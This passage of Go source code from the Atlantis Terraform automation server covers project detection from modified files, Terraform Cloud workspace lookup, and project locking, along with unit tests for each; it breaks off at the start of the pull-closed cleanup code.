de-duplicated. // absRepoDir is the path to the cloned repo on disk. DetermineProjects(log logging.SimpleLogging, modifiedFiles []string, repoFullName string, absRepoDir string, autoplanFileList string, moduleInfo ModuleProjects) []models.Project // DetermineProjectsViaConfig returns the list of projects that were modified // based on modifiedFiles and the repo's config. // absRepoDir is the path to the cloned repo on disk. DetermineProjectsViaConfig(log logging.SimpleLogging, modifiedFiles []string, config valid.RepoCfg, absRepoDir string, moduleInfo ModuleProjects) ([]valid.Project, error) DetermineWorkspaceFromHCL(log logging.SimpleLogging, absRepoDir string) (string, error) } var rootBlockSchema = &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "terraform", LabelNames: nil, }, }, } var terraformBlockSchema = &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "cloud", }, }, } var cloudBlockSchema = &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "workspaces", }, }, } func (p *DefaultProjectFinder) DetermineWorkspaceFromHCL(log logging.SimpleLogging, absRepoDir string) (string, error) { log.Info("Looking for Terraform Cloud workspace from configuration in '%s'", absRepoDir) infos, err := os.ReadDir(absRepoDir) if err != nil { return "", err } parser := hclparse.NewParser() for _, info := range infos { if info.IsDir() { continue } name := info.Name() if strings.HasSuffix(name, ".tf") { fullPath := filepath.Join(absRepoDir, name) file, _ := parser.ParseHCLFile(fullPath) workspace, err := findTFCloudWorkspaceFromFile(file) if err != nil { log.Warn(err.Error()) return DefaultWorkspace, nil } if len(workspace) > 0 { log.Debug("found configured Terraform Cloud workspace with name %q", workspace) return workspace, nil } } } log.Debug("no Terraform Cloud workspace explicitly configured in Terraform codes. Use default workspace (%q)", DefaultWorkspace) return DefaultWorkspace, nil } func findTFCloudWorkspaceFromFile(file *hcl.File) (string, error) { content, _, _ := file.Body.PartialContent(rootBlockSchema) workspace := "" if len(content.Blocks) == 1 { content, _, _ = content.Blocks[0].Body.PartialContent(terraformBlockSchema) if len(content.Blocks) == 1 { content, _, _ = content.Blocks[0].Body.PartialContent(cloudBlockSchema) if len(content.Blocks) == 1 { attrs, _ := content.Blocks[0].Body.JustAttributes() if nameAttr, defined := attrs["name"]; defined { diags := gohcl.DecodeExpression(nameAttr.Expr, nil, &workspace) if diags.HasErrors() { return "", fmt.Errorf("unable to parse workspace configuration: %q", diags.Error()) } } } } } return workspace, nil } // ignoredFilenameFragments contains filename fragments to ignore while looking at changes var ignoredFilenameFragments = []string{"terraform.tfstate", "terraform.tfstate.backup", "tflint.hcl"} // DefaultProjectFinder implements ProjectFinder. type DefaultProjectFinder struct{} // See ProjectFinder.DetermineProjects. func (p *DefaultProjectFinder) DetermineProjects(log logging.SimpleLogging, modifiedFiles []string, repoFullName string, absRepoDir string, autoplanFileList string, moduleInfo ModuleProjects) []models.Project { var projects []models.Project modifiedTerraformFiles := p.filterToFileList(log, modifiedFiles, autoplanFileList) if len(modifiedTerraformFiles) == 0 { return projects } log.Info("filtered modified files to %d file(s) in the autoplan file list: %v", len(modifiedTerraformFiles), modifiedTerraformFiles) var dirs []string for _, modifiedFile := range modifiedTerraformFiles { projectDir := getProjectDir(modifiedFile, absRepoDir) if projectDir != "" { dirs = append(dirs, projectDir) } else if moduleInfo != nil { downstreamProjects := moduleInfo.DependentProjects(path.Dir(modifiedFile)) log.Debug("found downstream projects for %q: %v", modifiedFile, downstreamProjects) dirs = append(dirs, downstreamProjects...) } } uniqueDirs := p.unique(dirs) // The list of modified files will include files that were deleted. We still // want to run plan if a file was deleted since that often results in a // change however we want to remove directories that have been completely // deleted. exists := p.removeNonExistingDirs(uniqueDirs, absRepoDir) for _, p := range exists { // It's unclear how we are supposed to determine the project name at this point // For now, we'll just add the default projectName // TODO: Add support for non-default projectName projectName := "" projects = append(projects, models.NewProject(repoFullName, p, projectName)) } log.Info("there are %d modified project(s) at path(s): %v", len(projects), strings.Join(exists, ", ")) return projects } // See ProjectFinder.DetermineProjectsViaConfig. func (p *DefaultProjectFinder) DetermineProjectsViaConfig(log logging.SimpleLogging, modifiedFiles []string, config valid.RepoCfg, absRepoDir string, moduleInfo ModuleProjects) ([]valid.Project, error) { // Check moduleInfo for downstream project dependencies var dependentProjects []string for _, file := range modifiedFiles { if moduleInfo != nil { downstreamProjects := moduleInfo.DependentProjects(path.Dir(file)) log.Debug("found downstream projects for %q: %v", file, downstreamProjects) dependentProjects = append(dependentProjects, downstreamProjects...) } } var projects []valid.Project for _, project := range config.Projects { log.Debug("checking if project at dir %q workspace %q was modified", project.Dir, project.Workspace) if utils.SlicesContains(dependentProjects, project.Dir) { projects = append(projects, project) continue } var whenModifiedRelToRepoRoot []string for _, wm := range project.Autoplan.WhenModified { wm = strings.TrimSpace(wm) // An exclusion uses a '!' at the beginning. If it's there, we need // to remove it, then add in the project path, then add it back. exclusion := false if wm != "" && wm[0] == '!' { wm = wm[1:] exclusion = true } // Prepend project dir to when modified patterns because the patterns // are relative to the project dirs but our list of modified files is // relative to the repo root. wmRelPath := filepath.Join(project.Dir, wm) if exclusion { wmRelPath = "!" + wmRelPath } whenModifiedRelToRepoRoot = append(whenModifiedRelToRepoRoot, wmRelPath) } pm, err := patternmatcher.New(whenModifiedRelToRepoRoot) if err != nil { return nil, fmt.Errorf("matching modified files with patterns: %v: %w", project.Autoplan.WhenModified, err) } // If any of the modified files matches the pattern then this project is // considered modified. for _, file := range modifiedFiles { match, err := pm.MatchesOrParentMatches(file) if err != nil { log.Debug("match err for file %q: %s", file, err) continue } if match { log.Debug("file %q matched pattern", file) // If we're checking using an atlantis.yaml file we downloaded // directly from the repo (when doing a no-clone check) then // absRepoDir will be empty. Since we didn't clone the repo // yet we can't do this check. If there was a file modified // in a deleted directory then when we finally do clone the repo // we'll call this function again and then we'll detect the // directory was deleted. if absRepoDir != "" { _, err := os.Stat(filepath.Join(absRepoDir, project.Dir)) if err == nil { projects = append(projects, project) } else { log.Debug("project at dir %q not included because dir does not exist", project.Dir) } } else { projects = append(projects, project) } break } } } return projects, nil } // filterToFileList filters out files not included in the file list func (p *DefaultProjectFinder) filterToFileList(log logging.SimpleLogging, files []string, fileList string) []string { var filtered []string patterns := strings.Split(fileList, ",") // Ignore pattern matcher error here as it was checked for errors in server validation patternMatcher, _ := patternmatcher.New(patterns) for _, fileName := range files { if p.shouldIgnore(fileName) { continue } match, err := patternMatcher.MatchesOrParentMatches(fileName) if err != nil { log.Debug("filter err for file %q: %s", fileName, err) continue } if match { filtered = append(filtered, fileName) } } return filtered } // shouldIgnore returns true if we shouldn't trigger a plan on changes to this file. func (p *DefaultProjectFinder) shouldIgnore(fileName string) bool { for _, s := range ignoredFilenameFragments { if strings.Contains(fileName, s) { return true } } return false } // getProjectDir attempts to determine based on the location of a modified // file, where the root of the Terraform project is. It also attempts to verify // if the root is valid by looking for a main.tf file. It returns a relative // path to the repo. If the project is at the root returns ".". If modified file // doesn't lead to a valid project path, returns an empty string. func getProjectDir(modifiedFilePath string, repoDir string) string { return getProjectDirFromFs(os.DirFS(repoDir), modifiedFilePath) } func getProjectDirFromFs(files fs.FS, modifiedFilePath string) string { dir := path.Dir(modifiedFilePath) if path.Base(dir) == "env" { // If the modified file was inside an env/ directory, we treat this // specially and run plan one level up. This supports directory structures // like: // root/ // main.tf // env/ // dev.tfvars // staging.tfvars return path.Dir(dir) } // Surrounding dir with /'s so we can match on /modules/ even if dir is // "modules" or "project1/modules" if isModule(dir) { // We treat changes inside modules/ folders specially. There are two cases: // 1. modules folder inside project: // root/ // main.tf // modules/ // ... // In this case, if we detect a change in modules/, we will determine // the project root to be at root/. // // 2. shared top-level modules folder // root/ // project1/ // main.tf # uses modules via ../modules // project2/ // main.tf # uses modules via ../modules // modules/ // ... // In this case, if we detect a change in modules/ we don't know which // project was using this module so we can't suggest a project root, but we // also detect that there's no main.tf in the parent folder of modules/ // so we won't suggest that as a project. So in this case we return nothing. // The code below makes this happen. // Need to add a trailing slash before splitting on modules/ because if // the input was modules/file.tf then path.Dir will be "modules" and so our // split on "modules/" will fail. dirWithTrailingSlash := dir + "/" modulesSplit := strings.SplitN(dirWithTrailingSlash, "modules/", 2) modulesParent := modulesSplit[0] // Now we check whether there is a main.tf in the parent. if _, err := fs.Stat(files, filepath.Join(modulesParent, "main.tf")); errors.Is(err, fs.ErrNotExist) { return "" } return path.Clean(modulesParent) } // If it wasn't a modules directory, we assume we're in a project and return // this directory. return dir } func isModule(dir string) bool { return strings.Contains("/"+dir+"/", "/modules/") } // unique de-duplicates strs. func (p *DefaultProjectFinder) unique(strs []string) []string { hash := make(map[string]bool) var unique []string for _, s := range strs { if !hash[s] { unique = append(unique, s) hash[s] = true } } return unique } // removeNonExistingDirs removes paths from relativePaths that don't exist. // relativePaths is a list of paths relative to absRepoDir. func (p *DefaultProjectFinder) removeNonExistingDirs(relativePaths []string, absRepoDir string) []string { var filtered []string for _, pth := range relativePaths { absPath := filepath.Join(absRepoDir, pth) if _, err := os.Stat(absPath); !os.IsNotExist(err) { filtered = append(filtered, pth) } } return filtered } ================================================ FILE: server/events/project_finder_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "os" "path/filepath" "slices" "testing" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) var modifiedRepo = "owner/repo" var m = events.DefaultProjectFinder{} var nestedModules1 string var nestedModules2 string var topLevelModules string var envDir string func setupTmpRepos(t *testing.T) { // Create different repo structures for testing. // 1. Nested modules directory inside a project // non-tf // terraform.tfstate // terraform.tfstate.backup // project1/ // main.tf // terraform.tfstate // terraform.tfstate.backup // modules/ // main.tf nestedModules1 = t.TempDir() err := os.MkdirAll(filepath.Join(nestedModules1, "project1/modules"), 0700) Ok(t, err) files := []string{ "non-tf", ".tflint.hcl", "terraform.tfstate.backup", "project1/main.tf", "project1/terraform.tfstate", "project1/terraform.tfstate.backup", "project1/modules/main.tf", } for _, f := range files { _, err = os.Create(filepath.Join(nestedModules1, f)) Ok(t, err) } // 2. Nested modules dir inside top-level project // main.tf // modules/ // main.tf // We can just re-use part of the previous dir structure. nestedModules2 = filepath.Join(nestedModules1, "project1") // 3. Top-level modules // modules/ // main.tf // project1/ // main.tf // project2/ // main.tf topLevelModules = t.TempDir() for _, path := range []string{"modules", "project1", "project2"} { err = os.MkdirAll(filepath.Join(topLevelModules, path), 0700) Ok(t, err) _, err = os.Create(filepath.Join(topLevelModules, path, "main.tf")) Ok(t, err) } // 4. Env/ dir // main.tf // env/ // staging.tfvars // production.tfvars // global-env-config.auto.tfvars.json envDir = t.TempDir() err = os.MkdirAll(filepath.Join(envDir, "env"), 0700) Ok(t, err) _, err = os.Create(filepath.Join(envDir, "env/staging.tfvars")) Ok(t, err) _, err = os.Create(filepath.Join(envDir, "env/production.tfvars")) Ok(t, err) } func TestDetermineWorkspaceFromHCL(t *testing.T) { noopLogger := logging.NewNoopLogger(t) cases := []struct { description string repoDir string expectedWorkspace string }{ { "Should use configured Terraform Cloud workspace", "workspace-configured", "test-workspace", }, { "If no 'cloud' block was configured, it should use 'default' workspace", "no-cloud-block", "default", }, { "If 'cloud' was specify but without `name` attribute, it should use 'default' workspace", "cloud-block-without-workspace-name", "default", }, } for _, c := range cases { fullPath := filepath.Join("testdata/test-repos", c.repoDir) got, err := m.DetermineWorkspaceFromHCL(noopLogger, fullPath) if err != nil { t.Error("got error:", err) break } if got != c.expectedWorkspace { t.Fatalf("Expected %s but got %s", c.expectedWorkspace, got) } } } func TestDetermineProjects(t *testing.T) { noopLogger := logging.NewNoopLogger(t) setupTmpRepos(t) defaultAutoplanFileList := "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl" cases := []struct { description string files []string expProjectPaths []string repoDir string autoplanFileList string }{ { "If no files were modified then should return an empty list", nil, nil, nestedModules1, defaultAutoplanFileList, }, { "Should ignore non .tf files and return an empty list", []string{"non-tf", "non.tf.suffix"}, nil, nestedModules1, defaultAutoplanFileList, }, { "Should ignore .tflint.hcl files and return an empty list", []string{".tflint.hcl", "project1/.tflint.hcl"}, nil, nestedModules1, defaultAutoplanFileList, }, { "Should plan in the parent directory from modules if that dir has a main.tf", []string{"project1/modules/main.tf"}, []string{"project1"}, nestedModules1, defaultAutoplanFileList, }, { "Should plan in the parent directory from modules if that dir has a main.tf", []string{"modules/main.tf"}, []string{"."}, nestedModules2, defaultAutoplanFileList, }, { "Should plan in the parent directory from modules when module is in a subdir if that dir has a main.tf", []string{"modules/subdir/main.tf"}, []string{"."}, nestedModules2, defaultAutoplanFileList, }, { "Should not plan in the parent directory from modules if that dir does not have a main.tf", []string{"modules/main.tf"}, []string{}, topLevelModules, defaultAutoplanFileList, }, { "Should not plan in the parent directory from modules if that dir does not have a main.tf", []string{"modules/main.tf", "project1/main.tf"}, []string{"project1"}, topLevelModules, defaultAutoplanFileList, }, { "Should ignore tfstate files and return an empty list", []string{"terraform.tfstate", "terraform.tfstate.backup", "parent/terraform.tfstate", "parent/terraform.tfstate.backup"}, nil, nestedModules1, defaultAutoplanFileList, }, { "Should return '.' when changed file is at root", []string{"a.tf"}, []string{"."}, nestedModules2, defaultAutoplanFileList, }, { "Should return directory when changed file is in a dir", []string{"project1/a.tf"}, []string{"project1"}, nestedModules1, defaultAutoplanFileList, }, { "Should return parent dir when changed file is in an env/ dir", []string{"env/staging.tfvars"}, []string{"."}, envDir, defaultAutoplanFileList, }, { "Should de-duplicate when multiple files changed in the same dir", []string{"env/staging.tfvars", "main.tf", "other.tf"}, []string{"."}, "", defaultAutoplanFileList, }, { "Should ignore changes in a dir that was deleted", []string{"wasdeleted/main.tf"}, []string{}, "", defaultAutoplanFileList, }, { "Should not ignore terragrunt.hcl files", []string{"terragrunt.hcl"}, []string{"."}, nestedModules2, defaultAutoplanFileList, }, { "Should find terragrunt.hcl file inside a nested directory", []string{"project1/terragrunt.hcl"}, []string{"project1"}, nestedModules1, defaultAutoplanFileList, }, { "Should find packer files and ignore default tf files", []string{"project1/image.pkr.hcl", "project2/main.tf"}, []string{"project1"}, topLevelModules, "**/*.pkr.hcl", }, { "Should find yaml files in addition to defaults", []string{"project1/ansible.yml", "project2/main.tf"}, []string{"project1", "project2"}, topLevelModules, "**/*.tf,**/*.yml", }, { "Should find yaml files unless excluded", []string{"project1/ansible.yml", "project2/config.yml"}, []string{"project1"}, topLevelModules, "**/*.yml,!project2/*.yml", }, { "Should not ignore .terraform.lock.hcl files", []string{"project1/.terraform.lock.hcl"}, []string{"project1"}, nestedModules1, defaultAutoplanFileList, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { projects := m.DetermineProjects(noopLogger, c.files, modifiedRepo, c.repoDir, c.autoplanFileList, nil) // Extract the paths from the projects. We use a slice here instead of a // map so we can test whether there are duplicates returned. var paths []string for _, project := range projects { paths = append(paths, project.Path) // Check that the project object has the repo set properly. Equals(t, modifiedRepo, project.RepoFullName) } Assert(t, len(c.expProjectPaths) == len(paths), "exp %q but found %q", c.expProjectPaths, paths) for _, expPath := range c.expProjectPaths { if !slices.Contains(paths, expPath) { t.Fatalf("exp %q but was not in paths %v", expPath, paths) } } }) } } func TestDefaultProjectFinder_DetermineProjectsViaConfig(t *testing.T) { // Create dir structure: // main.tf // project1/ // main.tf // terraform.tfvars.json // project2/ // main.tf // terraform.tfvars // modules/ // module/ // main.tf tmpDir := DirStructure(t, map[string]any{ "main.tf": nil, "project1": map[string]any{ "main.tf": nil, "terraform.tfvars.json": nil, }, "project2": map[string]any{ "main.tf": nil, "terraform.tfvars": nil, }, "modules": map[string]any{ "module": map[string]any{ "main.tf": nil, }, }, }) cases := []struct { description string config valid.RepoCfg modified []string expProjPaths []string }{ { // When autoplan is disabled, we still return the modified project. // If our caller is interested in autoplan enabled projects, they'll // need to filter the results. description: "autoplan disabled", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Autoplan: valid.Autoplan{ Enabled: false, WhenModified: []string{"**/*.tf"}, }, }, }, }, modified: []string{"main.tf"}, expProjPaths: []string{"."}, }, { description: "autoplan default", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"**/*.tf"}, }, }, }, }, modified: []string{"main.tf"}, expProjPaths: []string{"."}, }, { description: "parent dir modified", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: "project", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"**/*.tf"}, }, }, }, }, modified: []string{"main.tf"}, expProjPaths: nil, }, { description: "parent dir modified matches", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: "project1", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"../**/*.tf"}, }, }, }, }, modified: []string{"main.tf"}, expProjPaths: []string{"project1"}, }, { description: "dir deleted", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: "project3", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"*.tf"}, }, }, }, }, modified: []string{"project3/main.tf"}, expProjPaths: nil, }, { description: "multiple projects", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"*.tf"}, }, }, { Dir: "project1", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"../modules/module/*.tf", "**/*.tf"}, }, }, { Dir: "project2", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"**/*.tf"}, }, }, }, }, modified: []string{"main.tf", "modules/module/another.tf", "project2/nontf.txt"}, expProjPaths: []string{".", "project1"}, }, { description: ".tfvars file modified", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: "project2", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"*.tf*"}, }, }, }, }, modified: []string{"project2/terraform.tfvars"}, expProjPaths: []string{"project2"}, }, { description: ".terraform.lock.hcl file modified", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: "project2", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: raw.DefaultAutoPlanWhenModified, }, }, }, }, modified: []string{"project2/.terraform.lock.hcl"}, expProjPaths: []string{"project2"}, }, { description: "file excluded", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: "project1", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"*.tf", "!exclude-me.tf"}, }, }, }, }, modified: []string{"project1/exclude-me.tf"}, expProjPaths: nil, }, { description: "some files excluded and others included", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: "project1", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"*.tf", "!exclude-me.tf"}, }, }, }, }, modified: []string{"project1/exclude-me.tf", "project1/include-me.tf"}, expProjPaths: []string{"project1"}, }, { description: "multiple dirs excluded", config: valid.RepoCfg{ Projects: []valid.Project{ { Dir: "project1", Autoplan: valid.Autoplan{ Enabled: true, WhenModified: []string{"**/*.tf", "!subdir1/*", "!subdir2/*"}, }, }, }, }, modified: []string{"project1/subdir1/main.tf", "project1/subdir2/main.tf"}, expProjPaths: nil, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { pf := events.DefaultProjectFinder{} projects, err := pf.DetermineProjectsViaConfig(logging.NewNoopLogger(t), c.modified, c.config, tmpDir, nil) Ok(t, err) Equals(t, len(c.expProjPaths), len(projects)) for i, proj := range projects { Equals(t, c.expProjPaths[i], proj.Dir) } }) } } ================================================ FILE: server/events/project_locker.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "fmt" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/logging" ) //go:generate pegomock generate --package mocks -o mocks/mock_project_lock.go ProjectLocker // ProjectLocker locks this project against other plans being run until this // project is unlocked. type ProjectLocker interface { // TryLock attempts to acquire the lock for this project. It returns true if the lock // was acquired. If it returns false, the lock was not acquired and the second // return value will be a string describing why the lock was not acquired. // The third return value is a function that can be called to unlock the // lock. It will only be set if the lock was acquired. Any errors will set // error. TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) (*TryLockResponse, error) } // DefaultProjectLocker implements ProjectLocker. type DefaultProjectLocker struct { Locker locking.Locker NoOpLocker locking.Locker VCSClient vcs.Client } // TryLockResponse is the result of trying to lock a project. type TryLockResponse struct { // LockAcquired is true if the lock was acquired. LockAcquired bool // LockFailureReason is the reason why the lock was not acquired. It will // only be set if LockAcquired is false. LockFailureReason string // UnlockFn will unlock the lock created by the caller. This might be called // if there is an error later and the caller doesn't want to continue to // hold the lock. UnlockFn func() error // LockKey is the key for the lock if the lock was acquired. LockKey string } // TryLock implements ProjectLocker.TryLock. func (p *DefaultProjectLocker) TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) (*TryLockResponse, error) { locker := p.Locker if !repoLocking { locker = p.NoOpLocker } lockAttempt, err := locker.TryLock(project, workspace, pull, user) if err != nil { return nil, err } if !lockAttempt.LockAcquired && lockAttempt.CurrLock.Pull.Num != pull.Num { link, err := p.VCSClient.MarkdownPullLink(lockAttempt.CurrLock.Pull) if err != nil { return nil, err } failureMsg := fmt.Sprintf( "This project is currently locked by an unapplied plan from pull %s. To continue, delete the lock from %s or apply that plan and merge the pull request.\n\nOnce the lock is released, comment `atlantis plan` here to re-plan.", link, link) return &TryLockResponse{ LockAcquired: false, LockFailureReason: failureMsg, }, nil } log.Info("Acquired lock with id '%s'", lockAttempt.LockKey) return &TryLockResponse{ LockAcquired: true, UnlockFn: func() error { _, err := p.Locker.Unlock(lockAttempt.LockKey) return err }, LockKey: lockAttempt.LockKey, }, nil } ================================================ FILE: server/events/project_locker_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "fmt" "testing" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/events/vcs/github" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" "go.uber.org/mock/gomock" ) func TestDefaultProjectLocker_TryLockWhenLocked(t *testing.T) { ctrl := gomock.NewController(t) var githubClient *github.Client mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil) mockLocker := mocks.NewMockLocker(ctrl) locker := events.DefaultProjectLocker{ Locker: mockLocker, VCSClient: mockClient, } expProject := models.Project{} expWorkspace := "default" expPull := models.PullRequest{} expUser := models.User{} lockingPull := models.PullRequest{ Num: 2, } mockLocker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return( locking.TryLockResponse{ LockAcquired: false, CurrLock: models.ProjectLock{ Pull: lockingPull, }, LockKey: "", }, nil, ) res, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, true) link, _ := mockClient.MarkdownPullLink(lockingPull) Ok(t, err) Equals(t, &events.TryLockResponse{ LockAcquired: false, LockFailureReason: fmt.Sprintf("This project is currently locked by an unapplied plan from pull %s. To continue, delete the lock from %s or apply that plan and merge the pull request.\n\nOnce the lock is released, comment `atlantis plan` here to re-plan.", link, link), }, res) } func TestDefaultProjectLocker_TryLockWhenLockedSamePull(t *testing.T) { ctrl := gomock.NewController(t) var githubClient *github.Client mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil) mockLocker := mocks.NewMockLocker(ctrl) locker := events.DefaultProjectLocker{ Locker: mockLocker, VCSClient: mockClient, } expProject := models.Project{} expWorkspace := "default" expPull := models.PullRequest{Num: 2} expUser := models.User{} lockingPull := models.PullRequest{ Num: 2, } lockKey := "key" mockLocker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return( locking.TryLockResponse{ LockAcquired: false, CurrLock: models.ProjectLock{ Pull: lockingPull, }, LockKey: lockKey, }, nil, ) // Unlock will be called once when UnlockFn is invoked mockLocker.EXPECT().Unlock(lockKey).Return(nil, nil) res, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, true) Ok(t, err) Equals(t, true, res.LockAcquired) // UnlockFn should work. err = res.UnlockFn() Ok(t, err) } func TestDefaultProjectLocker_TryLockUnlocked(t *testing.T) { ctrl := gomock.NewController(t) var githubClient *github.Client mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil) mockLocker := mocks.NewMockLocker(ctrl) locker := events.DefaultProjectLocker{ Locker: mockLocker, VCSClient: mockClient, } expProject := models.Project{} expWorkspace := "default" expPull := models.PullRequest{Num: 2} expUser := models.User{} lockingPull := models.PullRequest{ Num: 2, } lockKey := "key" mockLocker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return( locking.TryLockResponse{ LockAcquired: true, CurrLock: models.ProjectLock{ Pull: lockingPull, }, LockKey: lockKey, }, nil, ) // Unlock will be called once when UnlockFn is invoked mockLocker.EXPECT().Unlock(lockKey).Return(nil, nil) res, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, true) Ok(t, err) Equals(t, true, res.LockAcquired) // UnlockFn should work. err = res.UnlockFn() Ok(t, err) } func TestDefaultProjectLocker_RepoLocking(t *testing.T) { var githubClient *github.Client mockClient := vcs.NewClientProxy(githubClient, nil, nil, nil, nil, nil) expProject := models.Project{} expWorkspace := "default" expPull := models.PullRequest{Num: 2} expUser := models.User{} lockKey := "key" tests := []struct { name string repoLocking bool setup func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) }{ { "enable repo locking", true, func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) { locker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return( locking.TryLockResponse{ LockAcquired: true, CurrLock: models.ProjectLock{}, LockKey: lockKey, }, nil, ) // noOpLocker has no EXPECT — gomock will fail if it's called }, }, { "disable repo locking", false, func(locker *mocks.MockLocker, noOpLocker *mocks.MockLocker) { noOpLocker.EXPECT().TryLock(expProject, expWorkspace, expPull, expUser).Return( locking.TryLockResponse{ LockAcquired: true, CurrLock: models.ProjectLock{}, LockKey: lockKey, }, nil, ) // locker has no EXPECT — gomock will fail if it's called }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { ctrl := gomock.NewController(t) mockLocker := mocks.NewMockLocker(ctrl) mockNoOpLocker := mocks.NewMockLocker(ctrl) locker := events.DefaultProjectLocker{ Locker: mockLocker, NoOpLocker: mockNoOpLocker, VCSClient: mockClient, } tt.setup(mockLocker, mockNoOpLocker) res, err := locker.TryLock(logging.NewNoopLogger(t), expPull, expUser, expWorkspace, expProject, tt.repoLocking) Ok(t, err) Equals(t, true, res.LockAcquired) }) } } ================================================ FILE: server/events/pull_closed_executor.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "bytes" "fmt" "io" "slices" "sort" "strings" "text/template" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/jobs" ) //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_resource_cleaner.go ResourceCleaner type ResourceCleaner interface { CleanUp(pullInfo jobs.PullInfo) } //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_pull_cleaner.go PullCleaner // PullCleaner cleans up pull requests after they're closed/merged. type PullCleaner interface { // CleanUpPull deletes the workspaces used by the pull request on disk // and deletes any locks associated with this pull request for all workspaces. CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error } // PullClosedExecutor executes the tasks required to clean up a closed pull // request. type PullClosedExecutor struct { Locker locking.Locker VCSClient vcs.Client WorkingDir WorkingDir Database db.Database PullClosedTemplate PullCleanupTemplate LogStreamResourceCleaner ResourceCleaner CancellationTracker CancellationTracker } type 